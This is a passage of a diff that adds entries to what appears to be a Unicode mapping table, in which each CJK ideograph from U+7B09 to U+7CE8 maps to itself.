+ ["\u7B09", "\u7B09"], /* CJK Ideograph */
+ ["\u7B0A", "\u7B0A"], /* CJK Ideograph */
+ ["\u7B0B", "\u7B0B"], /* CJK Ideograph */
+ ["\u7B0C", "\u7B0C"], /* CJK Ideograph */
+ ["\u7B0D", "\u7B0D"], /* CJK Ideograph */
+ ["\u7B0E", "\u7B0E"], /* CJK Ideograph */
+ ["\u7B0F", "\u7B0F"], /* CJK Ideograph */
+ ["\u7B10", "\u7B10"], /* CJK Ideograph */
+ ["\u7B11", "\u7B11"], /* CJK Ideograph */
+ ["\u7B12", "\u7B12"], /* CJK Ideograph */
+ ["\u7B13", "\u7B13"], /* CJK Ideograph */
+ ["\u7B14", "\u7B14"], /* CJK Ideograph */
+ ["\u7B15", "\u7B15"], /* CJK Ideograph */
+ ["\u7B16", "\u7B16"], /* CJK Ideograph */
+ ["\u7B17", "\u7B17"], /* CJK Ideograph */
+ ["\u7B18", "\u7B18"], /* CJK Ideograph */
+ ["\u7B19", "\u7B19"], /* CJK Ideograph */
+ ["\u7B1A", "\u7B1A"], /* CJK Ideograph */
+ ["\u7B1B", "\u7B1B"], /* CJK Ideograph */
+ ["\u7B1C", "\u7B1C"], /* CJK Ideograph */
+ ["\u7B1D", "\u7B1D"], /* CJK Ideograph */
+ ["\u7B1E", "\u7B1E"], /* CJK Ideograph */
+ ["\u7B1F", "\u7B1F"], /* CJK Ideograph */
+ ["\u7B20", "\u7B20"], /* CJK Ideograph */
+ ["\u7B21", "\u7B21"], /* CJK Ideograph */
+ ["\u7B22", "\u7B22"], /* CJK Ideograph */
+ ["\u7B23", "\u7B23"], /* CJK Ideograph */
+ ["\u7B24", "\u7B24"], /* CJK Ideograph */
+ ["\u7B25", "\u7B25"], /* CJK Ideograph */
+ ["\u7B26", "\u7B26"], /* CJK Ideograph */
+ ["\u7B27", "\u7B27"], /* CJK Ideograph */
+ ["\u7B28", "\u7B28"], /* CJK Ideograph */
+ ["\u7B29", "\u7B29"], /* CJK Ideograph */
+ ["\u7B2A", "\u7B2A"], /* CJK Ideograph */
+ ["\u7B2B", "\u7B2B"], /* CJK Ideograph */
+ ["\u7B2C", "\u7B2C"], /* CJK Ideograph */
+ ["\u7B2D", "\u7B2D"], /* CJK Ideograph */
+ ["\u7B2E", "\u7B2E"], /* CJK Ideograph */
+ ["\u7B2F", "\u7B2F"], /* CJK Ideograph */
+ ["\u7B30", "\u7B30"], /* CJK Ideograph */
+ ["\u7B31", "\u7B31"], /* CJK Ideograph */
+ ["\u7B32", "\u7B32"], /* CJK Ideograph */
+ ["\u7B33", "\u7B33"], /* CJK Ideograph */
+ ["\u7B34", "\u7B34"], /* CJK Ideograph */
+ ["\u7B35", "\u7B35"], /* CJK Ideograph */
+ ["\u7B36", "\u7B36"], /* CJK Ideograph */
+ ["\u7B37", "\u7B37"], /* CJK Ideograph */
+ ["\u7B38", "\u7B38"], /* CJK Ideograph */
+ ["\u7B39", "\u7B39"], /* CJK Ideograph */
+ ["\u7B3A", "\u7B3A"], /* CJK Ideograph */
+ ["\u7B3B", "\u7B3B"], /* CJK Ideograph */
+ ["\u7B3C", "\u7B3C"], /* CJK Ideograph */
+ ["\u7B3D", "\u7B3D"], /* CJK Ideograph */
+ ["\u7B3E", "\u7B3E"], /* CJK Ideograph */
+ ["\u7B3F", "\u7B3F"], /* CJK Ideograph */
+ ["\u7B40", "\u7B40"], /* CJK Ideograph */
+ ["\u7B41", "\u7B41"], /* CJK Ideograph */
+ ["\u7B42", "\u7B42"], /* CJK Ideograph */
+ ["\u7B43", "\u7B43"], /* CJK Ideograph */
+ ["\u7B44", "\u7B44"], /* CJK Ideograph */
+ ["\u7B45", "\u7B45"], /* CJK Ideograph */
+ ["\u7B46", "\u7B46"], /* CJK Ideograph */
+ ["\u7B47", "\u7B47"], /* CJK Ideograph */
+ ["\u7B48", "\u7B48"], /* CJK Ideograph */
+ ["\u7B49", "\u7B49"], /* CJK Ideograph */
+ ["\u7B4A", "\u7B4A"], /* CJK Ideograph */
+ ["\u7B4B", "\u7B4B"], /* CJK Ideograph */
+ ["\u7B4C", "\u7B4C"], /* CJK Ideograph */
+ ["\u7B4D", "\u7B4D"], /* CJK Ideograph */
+ ["\u7B4E", "\u7B4E"], /* CJK Ideograph */
+ ["\u7B4F", "\u7B4F"], /* CJK Ideograph */
+ ["\u7B50", "\u7B50"], /* CJK Ideograph */
+ ["\u7B51", "\u7B51"], /* CJK Ideograph */
+ ["\u7B52", "\u7B52"], /* CJK Ideograph */
+ ["\u7B53", "\u7B53"], /* CJK Ideograph */
+ ["\u7B54", "\u7B54"], /* CJK Ideograph */
+ ["\u7B55", "\u7B55"], /* CJK Ideograph */
+ ["\u7B56", "\u7B56"], /* CJK Ideograph */
+ ["\u7B57", "\u7B57"], /* CJK Ideograph */
+ ["\u7B58", "\u7B58"], /* CJK Ideograph */
+ ["\u7B59", "\u7B59"], /* CJK Ideograph */
+ ["\u7B5A", "\u7B5A"], /* CJK Ideograph */
+ ["\u7B5B", "\u7B5B"], /* CJK Ideograph */
+ ["\u7B5C", "\u7B5C"], /* CJK Ideograph */
+ ["\u7B5D", "\u7B5D"], /* CJK Ideograph */
+ ["\u7B5E", "\u7B5E"], /* CJK Ideograph */
+ ["\u7B5F", "\u7B5F"], /* CJK Ideograph */
+ ["\u7B60", "\u7B60"], /* CJK Ideograph */
+ ["\u7B61", "\u7B61"], /* CJK Ideograph */
+ ["\u7B62", "\u7B62"], /* CJK Ideograph */
+ ["\u7B63", "\u7B63"], /* CJK Ideograph */
+ ["\u7B64", "\u7B64"], /* CJK Ideograph */
+ ["\u7B65", "\u7B65"], /* CJK Ideograph */
+ ["\u7B66", "\u7B66"], /* CJK Ideograph */
+ ["\u7B67", "\u7B67"], /* CJK Ideograph */
+ ["\u7B68", "\u7B68"], /* CJK Ideograph */
+ ["\u7B69", "\u7B69"], /* CJK Ideograph */
+ ["\u7B6A", "\u7B6A"], /* CJK Ideograph */
+ ["\u7B6B", "\u7B6B"], /* CJK Ideograph */
+ ["\u7B6C", "\u7B6C"], /* CJK Ideograph */
+ ["\u7B6D", "\u7B6D"], /* CJK Ideograph */
+ ["\u7B6E", "\u7B6E"], /* CJK Ideograph */
+ ["\u7B6F", "\u7B6F"], /* CJK Ideograph */
+ ["\u7B70", "\u7B70"], /* CJK Ideograph */
+ ["\u7B71", "\u7B71"], /* CJK Ideograph */
+ ["\u7B72", "\u7B72"], /* CJK Ideograph */
+ ["\u7B73", "\u7B73"], /* CJK Ideograph */
+ ["\u7B74", "\u7B74"], /* CJK Ideograph */
+ ["\u7B75", "\u7B75"], /* CJK Ideograph */
+ ["\u7B76", "\u7B76"], /* CJK Ideograph */
+ ["\u7B77", "\u7B77"], /* CJK Ideograph */
+ ["\u7B78", "\u7B78"], /* CJK Ideograph */
+ ["\u7B79", "\u7B79"], /* CJK Ideograph */
+ ["\u7B7A", "\u7B7A"], /* CJK Ideograph */
+ ["\u7B7B", "\u7B7B"], /* CJK Ideograph */
+ ["\u7B7C", "\u7B7C"], /* CJK Ideograph */
+ ["\u7B7D", "\u7B7D"], /* CJK Ideograph */
+ ["\u7B7E", "\u7B7E"], /* CJK Ideograph */
+ ["\u7B7F", "\u7B7F"], /* CJK Ideograph */
+ ["\u7B80", "\u7B80"], /* CJK Ideograph */
+ ["\u7B81", "\u7B81"], /* CJK Ideograph */
+ ["\u7B82", "\u7B82"], /* CJK Ideograph */
+ ["\u7B83", "\u7B83"], /* CJK Ideograph */
+ ["\u7B84", "\u7B84"], /* CJK Ideograph */
+ ["\u7B85", "\u7B85"], /* CJK Ideograph */
+ ["\u7B86", "\u7B86"], /* CJK Ideograph */
+ ["\u7B87", "\u7B87"], /* CJK Ideograph */
+ ["\u7B88", "\u7B88"], /* CJK Ideograph */
+ ["\u7B89", "\u7B89"], /* CJK Ideograph */
+ ["\u7B8A", "\u7B8A"], /* CJK Ideograph */
+ ["\u7B8B", "\u7B8B"], /* CJK Ideograph */
+ ["\u7B8C", "\u7B8C"], /* CJK Ideograph */
+ ["\u7B8D", "\u7B8D"], /* CJK Ideograph */
+ ["\u7B8E", "\u7B8E"], /* CJK Ideograph */
+ ["\u7B8F", "\u7B8F"], /* CJK Ideograph */
+ ["\u7B90", "\u7B90"], /* CJK Ideograph */
+ ["\u7B91", "\u7B91"], /* CJK Ideograph */
+ ["\u7B92", "\u7B92"], /* CJK Ideograph */
+ ["\u7B93", "\u7B93"], /* CJK Ideograph */
+ ["\u7B94", "\u7B94"], /* CJK Ideograph */
+ ["\u7B95", "\u7B95"], /* CJK Ideograph */
+ ["\u7B96", "\u7B96"], /* CJK Ideograph */
+ ["\u7B97", "\u7B97"], /* CJK Ideograph */
+ ["\u7B98", "\u7B98"], /* CJK Ideograph */
+ ["\u7B99", "\u7B99"], /* CJK Ideograph */
+ ["\u7B9A", "\u7B9A"], /* CJK Ideograph */
+ ["\u7B9B", "\u7B9B"], /* CJK Ideograph */
+ ["\u7B9C", "\u7B9C"], /* CJK Ideograph */
+ ["\u7B9D", "\u7B9D"], /* CJK Ideograph */
+ ["\u7B9E", "\u7B9E"], /* CJK Ideograph */
+ ["\u7B9F", "\u7B9F"], /* CJK Ideograph */
+ ["\u7BA0", "\u7BA0"], /* CJK Ideograph */
+ ["\u7BA1", "\u7BA1"], /* CJK Ideograph */
+ ["\u7BA2", "\u7BA2"], /* CJK Ideograph */
+ ["\u7BA3", "\u7BA3"], /* CJK Ideograph */
+ ["\u7BA4", "\u7BA4"], /* CJK Ideograph */
+ ["\u7BA5", "\u7BA5"], /* CJK Ideograph */
+ ["\u7BA6", "\u7BA6"], /* CJK Ideograph */
+ ["\u7BA7", "\u7BA7"], /* CJK Ideograph */
+ ["\u7BA8", "\u7BA8"], /* CJK Ideograph */
+ ["\u7BA9", "\u7BA9"], /* CJK Ideograph */
+ ["\u7BAA", "\u7BAA"], /* CJK Ideograph */
+ ["\u7BAB", "\u7BAB"], /* CJK Ideograph */
+ ["\u7BAC", "\u7BAC"], /* CJK Ideograph */
+ ["\u7BAD", "\u7BAD"], /* CJK Ideograph */
+ ["\u7BAE", "\u7BAE"], /* CJK Ideograph */
+ ["\u7BAF", "\u7BAF"], /* CJK Ideograph */
+ ["\u7BB0", "\u7BB0"], /* CJK Ideograph */
+ ["\u7BB1", "\u7BB1"], /* CJK Ideograph */
+ ["\u7BB2", "\u7BB2"], /* CJK Ideograph */
+ ["\u7BB3", "\u7BB3"], /* CJK Ideograph */
+ ["\u7BB4", "\u7BB4"], /* CJK Ideograph */
+ ["\u7BB5", "\u7BB5"], /* CJK Ideograph */
+ ["\u7BB6", "\u7BB6"], /* CJK Ideograph */
+ ["\u7BB7", "\u7BB7"], /* CJK Ideograph */
+ ["\u7BB8", "\u7BB8"], /* CJK Ideograph */
+ ["\u7BB9", "\u7BB9"], /* CJK Ideograph */
+ ["\u7BBA", "\u7BBA"], /* CJK Ideograph */
+ ["\u7BBB", "\u7BBB"], /* CJK Ideograph */
+ ["\u7BBC", "\u7BBC"], /* CJK Ideograph */
+ ["\u7BBD", "\u7BBD"], /* CJK Ideograph */
+ ["\u7BBE", "\u7BBE"], /* CJK Ideograph */
+ ["\u7BBF", "\u7BBF"], /* CJK Ideograph */
+ ["\u7BC0", "\u7BC0"], /* CJK Ideograph */
+ ["\u7BC1", "\u7BC1"], /* CJK Ideograph */
+ ["\u7BC2", "\u7BC2"], /* CJK Ideograph */
+ ["\u7BC3", "\u7BC3"], /* CJK Ideograph */
+ ["\u7BC4", "\u7BC4"], /* CJK Ideograph */
+ ["\u7BC5", "\u7BC5"], /* CJK Ideograph */
+ ["\u7BC6", "\u7BC6"], /* CJK Ideograph */
+ ["\u7BC7", "\u7BC7"], /* CJK Ideograph */
+ ["\u7BC8", "\u7BC8"], /* CJK Ideograph */
+ ["\u7BC9", "\u7BC9"], /* CJK Ideograph */
+ ["\u7BCA", "\u7BCA"], /* CJK Ideograph */
+ ["\u7BCB", "\u7BCB"], /* CJK Ideograph */
+ ["\u7BCC", "\u7BCC"], /* CJK Ideograph */
+ ["\u7BCD", "\u7BCD"], /* CJK Ideograph */
+ ["\u7BCE", "\u7BCE"], /* CJK Ideograph */
+ ["\u7BCF", "\u7BCF"], /* CJK Ideograph */
+ ["\u7BD0", "\u7BD0"], /* CJK Ideograph */
+ ["\u7BD1", "\u7BD1"], /* CJK Ideograph */
+ ["\u7BD2", "\u7BD2"], /* CJK Ideograph */
+ ["\u7BD3", "\u7BD3"], /* CJK Ideograph */
+ ["\u7BD4", "\u7BD4"], /* CJK Ideograph */
+ ["\u7BD5", "\u7BD5"], /* CJK Ideograph */
+ ["\u7BD6", "\u7BD6"], /* CJK Ideograph */
+ ["\u7BD7", "\u7BD7"], /* CJK Ideograph */
+ ["\u7BD8", "\u7BD8"], /* CJK Ideograph */
+ ["\u7BD9", "\u7BD9"], /* CJK Ideograph */
+ ["\u7BDA", "\u7BDA"], /* CJK Ideograph */
+ ["\u7BDB", "\u7BDB"], /* CJK Ideograph */
+ ["\u7BDC", "\u7BDC"], /* CJK Ideograph */
+ ["\u7BDD", "\u7BDD"], /* CJK Ideograph */
+ ["\u7BDE", "\u7BDE"], /* CJK Ideograph */
+ ["\u7BDF", "\u7BDF"], /* CJK Ideograph */
+ ["\u7BE0", "\u7BE0"], /* CJK Ideograph */
+ ["\u7BE1", "\u7BE1"], /* CJK Ideograph */
+ ["\u7BE2", "\u7BE2"], /* CJK Ideograph */
+ ["\u7BE3", "\u7BE3"], /* CJK Ideograph */
+ ["\u7BE4", "\u7BE4"], /* CJK Ideograph */
+ ["\u7BE5", "\u7BE5"], /* CJK Ideograph */
+ ["\u7BE6", "\u7BE6"], /* CJK Ideograph */
+ ["\u7BE7", "\u7BE7"], /* CJK Ideograph */
+ ["\u7BE8", "\u7BE8"], /* CJK Ideograph */
+ ["\u7BE9", "\u7BE9"], /* CJK Ideograph */
+ ["\u7BEA", "\u7BEA"], /* CJK Ideograph */
+ ["\u7BEB", "\u7BEB"], /* CJK Ideograph */
+ ["\u7BEC", "\u7BEC"], /* CJK Ideograph */
+ ["\u7BED", "\u7BED"], /* CJK Ideograph */
+ ["\u7BEE", "\u7BEE"], /* CJK Ideograph */
+ ["\u7BEF", "\u7BEF"], /* CJK Ideograph */
+ ["\u7BF0", "\u7BF0"], /* CJK Ideograph */
+ ["\u7BF1", "\u7BF1"], /* CJK Ideograph */
+ ["\u7BF2", "\u7BF2"], /* CJK Ideograph */
+ ["\u7BF3", "\u7BF3"], /* CJK Ideograph */
+ ["\u7BF4", "\u7BF4"], /* CJK Ideograph */
+ ["\u7BF5", "\u7BF5"], /* CJK Ideograph */
+ ["\u7BF6", "\u7BF6"], /* CJK Ideograph */
+ ["\u7BF7", "\u7BF7"], /* CJK Ideograph */
+ ["\u7BF8", "\u7BF8"], /* CJK Ideograph */
+ ["\u7BF9", "\u7BF9"], /* CJK Ideograph */
+ ["\u7BFA", "\u7BFA"], /* CJK Ideograph */
+ ["\u7BFB", "\u7BFB"], /* CJK Ideograph */
+ ["\u7BFC", "\u7BFC"], /* CJK Ideograph */
+ ["\u7BFD", "\u7BFD"], /* CJK Ideograph */
+ ["\u7BFE", "\u7BFE"], /* CJK Ideograph */
+ ["\u7BFF", "\u7BFF"], /* CJK Ideograph */
+ ["\u7C00", "\u7C00"], /* CJK Ideograph */
+ ["\u7C01", "\u7C01"], /* CJK Ideograph */
+ ["\u7C02", "\u7C02"], /* CJK Ideograph */
+ ["\u7C03", "\u7C03"], /* CJK Ideograph */
+ ["\u7C04", "\u7C04"], /* CJK Ideograph */
+ ["\u7C05", "\u7C05"], /* CJK Ideograph */
+ ["\u7C06", "\u7C06"], /* CJK Ideograph */
+ ["\u7C07", "\u7C07"], /* CJK Ideograph */
+ ["\u7C08", "\u7C08"], /* CJK Ideograph */
+ ["\u7C09", "\u7C09"], /* CJK Ideograph */
+ ["\u7C0A", "\u7C0A"], /* CJK Ideograph */
+ ["\u7C0B", "\u7C0B"], /* CJK Ideograph */
+ ["\u7C0C", "\u7C0C"], /* CJK Ideograph */
+ ["\u7C0D", "\u7C0D"], /* CJK Ideograph */
+ ["\u7C0E", "\u7C0E"], /* CJK Ideograph */
+ ["\u7C0F", "\u7C0F"], /* CJK Ideograph */
+ ["\u7C10", "\u7C10"], /* CJK Ideograph */
+ ["\u7C11", "\u7C11"], /* CJK Ideograph */
+ ["\u7C12", "\u7C12"], /* CJK Ideograph */
+ ["\u7C13", "\u7C13"], /* CJK Ideograph */
+ ["\u7C14", "\u7C14"], /* CJK Ideograph */
+ ["\u7C15", "\u7C15"], /* CJK Ideograph */
+ ["\u7C16", "\u7C16"], /* CJK Ideograph */
+ ["\u7C17", "\u7C17"], /* CJK Ideograph */
+ ["\u7C18", "\u7C18"], /* CJK Ideograph */
+ ["\u7C19", "\u7C19"], /* CJK Ideograph */
+ ["\u7C1A", "\u7C1A"], /* CJK Ideograph */
+ ["\u7C1B", "\u7C1B"], /* CJK Ideograph */
+ ["\u7C1C", "\u7C1C"], /* CJK Ideograph */
+ ["\u7C1D", "\u7C1D"], /* CJK Ideograph */
+ ["\u7C1E", "\u7C1E"], /* CJK Ideograph */
+ ["\u7C1F", "\u7C1F"], /* CJK Ideograph */
+ ["\u7C20", "\u7C20"], /* CJK Ideograph */
+ ["\u7C21", "\u7C21"], /* CJK Ideograph */
+ ["\u7C22", "\u7C22"], /* CJK Ideograph */
+ ["\u7C23", "\u7C23"], /* CJK Ideograph */
+ ["\u7C24", "\u7C24"], /* CJK Ideograph */
+ ["\u7C25", "\u7C25"], /* CJK Ideograph */
+ ["\u7C26", "\u7C26"], /* CJK Ideograph */
+ ["\u7C27", "\u7C27"], /* CJK Ideograph */
+ ["\u7C28", "\u7C28"], /* CJK Ideograph */
+ ["\u7C29", "\u7C29"], /* CJK Ideograph */
+ ["\u7C2A", "\u7C2A"], /* CJK Ideograph */
+ ["\u7C2B", "\u7C2B"], /* CJK Ideograph */
+ ["\u7C2C", "\u7C2C"], /* CJK Ideograph */
+ ["\u7C2D", "\u7C2D"], /* CJK Ideograph */
+ ["\u7C2E", "\u7C2E"], /* CJK Ideograph */
+ ["\u7C2F", "\u7C2F"], /* CJK Ideograph */
+ ["\u7C30", "\u7C30"], /* CJK Ideograph */
+ ["\u7C31", "\u7C31"], /* CJK Ideograph */
+ ["\u7C32", "\u7C32"], /* CJK Ideograph */
+ ["\u7C33", "\u7C33"], /* CJK Ideograph */
+ ["\u7C34", "\u7C34"], /* CJK Ideograph */
+ ["\u7C35", "\u7C35"], /* CJK Ideograph */
+ ["\u7C36", "\u7C36"], /* CJK Ideograph */
+ ["\u7C37", "\u7C37"], /* CJK Ideograph */
+ ["\u7C38", "\u7C38"], /* CJK Ideograph */
+ ["\u7C39", "\u7C39"], /* CJK Ideograph */
+ ["\u7C3A", "\u7C3A"], /* CJK Ideograph */
+ ["\u7C3B", "\u7C3B"], /* CJK Ideograph */
+ ["\u7C3C", "\u7C3C"], /* CJK Ideograph */
+ ["\u7C3D", "\u7C3D"], /* CJK Ideograph */
+ ["\u7C3E", "\u7C3E"], /* CJK Ideograph */
+ ["\u7C3F", "\u7C3F"], /* CJK Ideograph */
+ ["\u7C40", "\u7C40"], /* CJK Ideograph */
+ ["\u7C41", "\u7C41"], /* CJK Ideograph */
+ ["\u7C42", "\u7C42"], /* CJK Ideograph */
+ ["\u7C43", "\u7C43"], /* CJK Ideograph */
+ ["\u7C44", "\u7C44"], /* CJK Ideograph */
+ ["\u7C45", "\u7C45"], /* CJK Ideograph */
+ ["\u7C46", "\u7C46"], /* CJK Ideograph */
+ ["\u7C47", "\u7C47"], /* CJK Ideograph */
+ ["\u7C48", "\u7C48"], /* CJK Ideograph */
+ ["\u7C49", "\u7C49"], /* CJK Ideograph */
+ ["\u7C4A", "\u7C4A"], /* CJK Ideograph */
+ ["\u7C4B", "\u7C4B"], /* CJK Ideograph */
+ ["\u7C4C", "\u7C4C"], /* CJK Ideograph */
+ ["\u7C4D", "\u7C4D"], /* CJK Ideograph */
+ ["\u7C4E", "\u7C4E"], /* CJK Ideograph */
+ ["\u7C4F", "\u7C4F"], /* CJK Ideograph */
+ ["\u7C50", "\u7C50"], /* CJK Ideograph */
+ ["\u7C51", "\u7C51"], /* CJK Ideograph */
+ ["\u7C52", "\u7C52"], /* CJK Ideograph */
+ ["\u7C53", "\u7C53"], /* CJK Ideograph */
+ ["\u7C54", "\u7C54"], /* CJK Ideograph */
+ ["\u7C55", "\u7C55"], /* CJK Ideograph */
+ ["\u7C56", "\u7C56"], /* CJK Ideograph */
+ ["\u7C57", "\u7C57"], /* CJK Ideograph */
+ ["\u7C58", "\u7C58"], /* CJK Ideograph */
+ ["\u7C59", "\u7C59"], /* CJK Ideograph */
+ ["\u7C5A", "\u7C5A"], /* CJK Ideograph */
+ ["\u7C5B", "\u7C5B"], /* CJK Ideograph */
+ ["\u7C5C", "\u7C5C"], /* CJK Ideograph */
+ ["\u7C5D", "\u7C5D"], /* CJK Ideograph */
+ ["\u7C5E", "\u7C5E"], /* CJK Ideograph */
+ ["\u7C5F", "\u7C5F"], /* CJK Ideograph */
+ ["\u7C60", "\u7C60"], /* CJK Ideograph */
+ ["\u7C61", "\u7C61"], /* CJK Ideograph */
+ ["\u7C62", "\u7C62"], /* CJK Ideograph */
+ ["\u7C63", "\u7C63"], /* CJK Ideograph */
+ ["\u7C64", "\u7C64"], /* CJK Ideograph */
+ ["\u7C65", "\u7C65"], /* CJK Ideograph */
+ ["\u7C66", "\u7C66"], /* CJK Ideograph */
+ ["\u7C67", "\u7C67"], /* CJK Ideograph */
+ ["\u7C68", "\u7C68"], /* CJK Ideograph */
+ ["\u7C69", "\u7C69"], /* CJK Ideograph */
+ ["\u7C6A", "\u7C6A"], /* CJK Ideograph */
+ ["\u7C6B", "\u7C6B"], /* CJK Ideograph */
+ ["\u7C6C", "\u7C6C"], /* CJK Ideograph */
+ ["\u7C6D", "\u7C6D"], /* CJK Ideograph */
+ ["\u7C6E", "\u7C6E"], /* CJK Ideograph */
+ ["\u7C6F", "\u7C6F"], /* CJK Ideograph */
+ ["\u7C70", "\u7C70"], /* CJK Ideograph */
+ ["\u7C71", "\u7C71"], /* CJK Ideograph */
+ ["\u7C72", "\u7C72"], /* CJK Ideograph */
+ ["\u7C73", "\u7C73"], /* CJK Ideograph */
+ ["\u7C74", "\u7C74"], /* CJK Ideograph */
+ ["\u7C75", "\u7C75"], /* CJK Ideograph */
+ ["\u7C76", "\u7C76"], /* CJK Ideograph */
+ ["\u7C77", "\u7C77"], /* CJK Ideograph */
+ ["\u7C78", "\u7C78"], /* CJK Ideograph */
+ ["\u7C79", "\u7C79"], /* CJK Ideograph */
+ ["\u7C7A", "\u7C7A"], /* CJK Ideograph */
+ ["\u7C7B", "\u7C7B"], /* CJK Ideograph */
+ ["\u7C7C", "\u7C7C"], /* CJK Ideograph */
+ ["\u7C7D", "\u7C7D"], /* CJK Ideograph */
+ ["\u7C7E", "\u7C7E"], /* CJK Ideograph */
+ ["\u7C7F", "\u7C7F"], /* CJK Ideograph */
+ ["\u7C80", "\u7C80"], /* CJK Ideograph */
+ ["\u7C81", "\u7C81"], /* CJK Ideograph */
+ ["\u7C82", "\u7C82"], /* CJK Ideograph */
+ ["\u7C83", "\u7C83"], /* CJK Ideograph */
+ ["\u7C84", "\u7C84"], /* CJK Ideograph */
+ ["\u7C85", "\u7C85"], /* CJK Ideograph */
+ ["\u7C86", "\u7C86"], /* CJK Ideograph */
+ ["\u7C87", "\u7C87"], /* CJK Ideograph */
+ ["\u7C88", "\u7C88"], /* CJK Ideograph */
+ ["\u7C89", "\u7C89"], /* CJK Ideograph */
+ ["\u7C8A", "\u7C8A"], /* CJK Ideograph */
+ ["\u7C8B", "\u7C8B"], /* CJK Ideograph */
+ ["\u7C8C", "\u7C8C"], /* CJK Ideograph */
+ ["\u7C8D", "\u7C8D"], /* CJK Ideograph */
+ ["\u7C8E", "\u7C8E"], /* CJK Ideograph */
+ ["\u7C8F", "\u7C8F"], /* CJK Ideograph */
+ ["\u7C90", "\u7C90"], /* CJK Ideograph */
+ ["\u7C91", "\u7C91"], /* CJK Ideograph */
+ ["\u7C92", "\u7C92"], /* CJK Ideograph */
+ ["\u7C93", "\u7C93"], /* CJK Ideograph */
+ ["\u7C94", "\u7C94"], /* CJK Ideograph */
+ ["\u7C95", "\u7C95"], /* CJK Ideograph */
+ ["\u7C96", "\u7C96"], /* CJK Ideograph */
+ ["\u7C97", "\u7C97"], /* CJK Ideograph */
+ ["\u7C98", "\u7C98"], /* CJK Ideograph */
+ ["\u7C99", "\u7C99"], /* CJK Ideograph */
+ ["\u7C9A", "\u7C9A"], /* CJK Ideograph */
+ ["\u7C9B", "\u7C9B"], /* CJK Ideograph */
+ ["\u7C9C", "\u7C9C"], /* CJK Ideograph */
+ ["\u7C9D", "\u7C9D"], /* CJK Ideograph */
+ ["\u7C9E", "\u7C9E"], /* CJK Ideograph */
+ ["\u7C9F", "\u7C9F"], /* CJK Ideograph */
+ ["\u7CA0", "\u7CA0"], /* CJK Ideograph */
+ ["\u7CA1", "\u7CA1"], /* CJK Ideograph */
+ ["\u7CA2", "\u7CA2"], /* CJK Ideograph */
+ ["\u7CA3", "\u7CA3"], /* CJK Ideograph */
+ ["\u7CA4", "\u7CA4"], /* CJK Ideograph */
+ ["\u7CA5", "\u7CA5"], /* CJK Ideograph */
+ ["\u7CA6", "\u7CA6"], /* CJK Ideograph */
+ ["\u7CA7", "\u7CA7"], /* CJK Ideograph */
+ ["\u7CA8", "\u7CA8"], /* CJK Ideograph */
+ ["\u7CA9", "\u7CA9"], /* CJK Ideograph */
+ ["\u7CAA", "\u7CAA"], /* CJK Ideograph */
+ ["\u7CAB", "\u7CAB"], /* CJK Ideograph */
+ ["\u7CAC", "\u7CAC"], /* CJK Ideograph */
+ ["\u7CAD", "\u7CAD"], /* CJK Ideograph */
+ ["\u7CAE", "\u7CAE"], /* CJK Ideograph */
+ ["\u7CAF", "\u7CAF"], /* CJK Ideograph */
+ ["\u7CB0", "\u7CB0"], /* CJK Ideograph */
+ ["\u7CB1", "\u7CB1"], /* CJK Ideograph */
+ ["\u7CB2", "\u7CB2"], /* CJK Ideograph */
+ ["\u7CB3", "\u7CB3"], /* CJK Ideograph */
+ ["\u7CB4", "\u7CB4"], /* CJK Ideograph */
+ ["\u7CB5", "\u7CB5"], /* CJK Ideograph */
+ ["\u7CB6", "\u7CB6"], /* CJK Ideograph */
+ ["\u7CB7", "\u7CB7"], /* CJK Ideograph */
+ ["\u7CB8", "\u7CB8"], /* CJK Ideograph */
+ ["\u7CB9", "\u7CB9"], /* CJK Ideograph */
+ ["\u7CBA", "\u7CBA"], /* CJK Ideograph */
+ ["\u7CBB", "\u7CBB"], /* CJK Ideograph */
+ ["\u7CBC", "\u7CBC"], /* CJK Ideograph */
+ ["\u7CBD", "\u7CBD"], /* CJK Ideograph */
+ ["\u7CBE", "\u7CBE"], /* CJK Ideograph */
+ ["\u7CBF", "\u7CBF"], /* CJK Ideograph */
+ ["\u7CC0", "\u7CC0"], /* CJK Ideograph */
+ ["\u7CC1", "\u7CC1"], /* CJK Ideograph */
+ ["\u7CC2", "\u7CC2"], /* CJK Ideograph */
+ ["\u7CC3", "\u7CC3"], /* CJK Ideograph */
+ ["\u7CC4", "\u7CC4"], /* CJK Ideograph */
+ ["\u7CC5", "\u7CC5"], /* CJK Ideograph */
+ ["\u7CC6", "\u7CC6"], /* CJK Ideograph */
+ ["\u7CC7", "\u7CC7"], /* CJK Ideograph */
+ ["\u7CC8", "\u7CC8"], /* CJK Ideograph */
+ ["\u7CC9", "\u7CC9"], /* CJK Ideograph */
+ ["\u7CCA", "\u7CCA"], /* CJK Ideograph */
+ ["\u7CCB", "\u7CCB"], /* CJK Ideograph */
+ ["\u7CCC", "\u7CCC"], /* CJK Ideograph */
+ ["\u7CCD", "\u7CCD"], /* CJK Ideograph */
+ ["\u7CCE", "\u7CCE"], /* CJK Ideograph */
+ ["\u7CCF", "\u7CCF"], /* CJK Ideograph */
+ ["\u7CD0", "\u7CD0"], /* CJK Ideograph */
+ ["\u7CD1", "\u7CD1"], /* CJK Ideograph */
+ ["\u7CD2", "\u7CD2"], /* CJK Ideograph */
+ ["\u7CD3", "\u7CD3"], /* CJK Ideograph */
+ ["\u7CD4", "\u7CD4"], /* CJK Ideograph */
+ ["\u7CD5", "\u7CD5"], /* CJK Ideograph */
+ ["\u7CD6", "\u7CD6"], /* CJK Ideograph */
+ ["\u7CD7", "\u7CD7"], /* CJK Ideograph */
+ ["\u7CD8", "\u7CD8"], /* CJK Ideograph */
+ ["\u7CD9", "\u7CD9"], /* CJK Ideograph */
+ ["\u7CDA", "\u7CDA"], /* CJK Ideograph */
+ ["\u7CDB", "\u7CDB"], /* CJK Ideograph */
+ ["\u7CDC", "\u7CDC"], /* CJK Ideograph */
+ ["\u7CDD", "\u7CDD"], /* CJK Ideograph */
+ ["\u7CDE", "\u7CDE"], /* CJK Ideograph */
+ ["\u7CDF", "\u7CDF"], /* CJK Ideograph */
+ ["\u7CE0", "\u7CE0"], /* CJK Ideograph */
+ ["\u7CE1", "\u7CE1"], /* CJK Ideograph */
+ ["\u7CE2", "\u7CE2"], /* CJK Ideograph */
+ ["\u7CE3", "\u7CE3"], /* CJK Ideograph */
+ ["\u7CE4", "\u7CE4"], /* CJK Ideograph */
+ ["\u7CE5", "\u7CE5"], /* CJK Ideograph */
+ ["\u7CE6", "\u7CE6"], /* CJK Ideograph */
+ ["\u7CE7", "\u7CE7"], /* CJK Ideograph */
+ ["\u7CE8", "\u7CE8"], /* CJK Ideograph */
